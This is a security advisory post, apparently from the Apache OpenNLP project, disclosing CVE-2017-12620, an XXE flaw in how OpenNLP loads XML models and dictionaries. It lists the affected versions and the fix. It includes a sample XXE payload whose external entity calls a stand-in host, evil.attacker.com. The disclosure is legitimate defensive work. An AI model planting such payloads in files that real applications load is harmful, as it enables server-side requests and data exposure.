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= CVE-2017-12620 - Apache OpenNLP XXE vulnerability
Apache OpenNLP
2017-10-02
:jbake-type: post
:jbake-tags: community
:jbake-status: published
:category: news
:idprefix:

Severity: Medium

Vendor:
The Apache Software Foundation

Versions Affected:

* OpenNLP 1.5.0 to 1.5.3
* OpenNLP 1.6.0
* OpenNLP 1.7.0 to 1.7.2
* OpenNLP 1.8.0 to 1.8.1

Description:
When loading models or dictionaries that contain XML it is possible to
perform an XXE attack, since OpenNLP is a library, this only affects
applications that load models or dictionaries from untrusted sources.

Mitigation:
All users who load models or XML dictionaries from untrusted sources
should update to 1.8.2.


Example:

An attacker can place this:
[source,xml,indent=0,subs=attributes+]
----
<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY sp SYSTEM "http://evil.attacker.com/">
]>
<r>&sp;</r>
----

Inside one of the XML files, either a dictionary or embedded inside a
model package, to demonstrate this vulnerability.

Credit:
This issue was discovered by Nishil Shah of Salesforce.

--The Apache OpenNLP Team